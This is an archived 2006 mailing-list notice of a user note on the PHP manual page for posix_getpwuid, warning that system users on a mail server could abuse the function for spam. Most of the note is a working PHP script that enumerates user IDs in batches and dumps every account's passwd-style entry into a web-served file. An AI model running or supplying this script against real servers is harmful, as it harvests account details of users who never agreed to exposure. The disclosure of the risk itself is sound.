note 63315 added to function.posix-getpwuid
| From: | mehmet at karakaya dot us | Date: | Sun, 19 Mar 2006 19:45:48 +0000 |
| Subject: | note 63315 added to function.posix-getpwuid | ||
| Groups: | php.notes | ||
| Request: | Send a blank email to php-notes+get-106080@lists.php.net to get a copy of this message | ||
if the system is also a mail server and system users have userdirs with php support this function
may cause a spam abuse which made by a system user.
<?php
/* settings for start point and where to stop */
$start=0;//the first user id
$interval=1000;//amount of lines that will be read
$finishline=3000;//the last user id
$first=(isset($_GET['first'])?$_GET['first']:$start);
$last=(isset($_GET['last'])?$_GET['last']:$interval);
/* getting and writing the user info line by line */
$fp=fopen('copiedpasswd','a');
//copiedpasswd must be writeable by apache
for ($user=$first;$user<=$last;$user++)
{
$list=posix_getpwuid($user);
if ($list['name']=='') { continue; }
$line=implode(':',$list)."\n";
fputs($fp,$line);
}//end for
fclose($fp);
/* control or forwarding in order to prevent prescription */
if ($last>=$finishline)
{
header("Location: copiedpasswd");
}//end if
else
{
$first += $interval;
$last += $interval;
header("Location: thenameofthisscript.php?first=$first&last=$last");
}//end else
?>
Because posix_getpwuid(1000) will return the user name(whose id is 1000) as the first key of the
array.
----
Server IP: 85.111.4.6
Probable Submitter: 212.98.7.31
----
X-Spam-Status: No, hits=3.1 required=5.0 tests=DATE_MISSING,FROM_NO_LOWER
autolearn=no version=2.64
----
Manual Page -- http://www.php.net/manual/en/function.posix-getpwuid.php
Edit -- http://master.php.net/note/edit/63315
Del: integrated -- http://master.php.net/note/delete/63315/integrated
Del: useless -- http://master.php.net/note/delete/63315/useless
Del: bad code -- http://master.php.net/note/delete/63315/bad+code
Del: spam -- http://master.php.net/note/delete/63315/spam
Del: non-english -- http://master.php.net/note/delete/63315/non-english
Del: in docs -- http://master.php.net/note/delete/63315/in+docs
Del: other reasons-- http://master.php.net/note/delete/63315
Reject -- http://master.php.net/note/reject/63315
Search -- http://master.php.net/manage/user-notes.php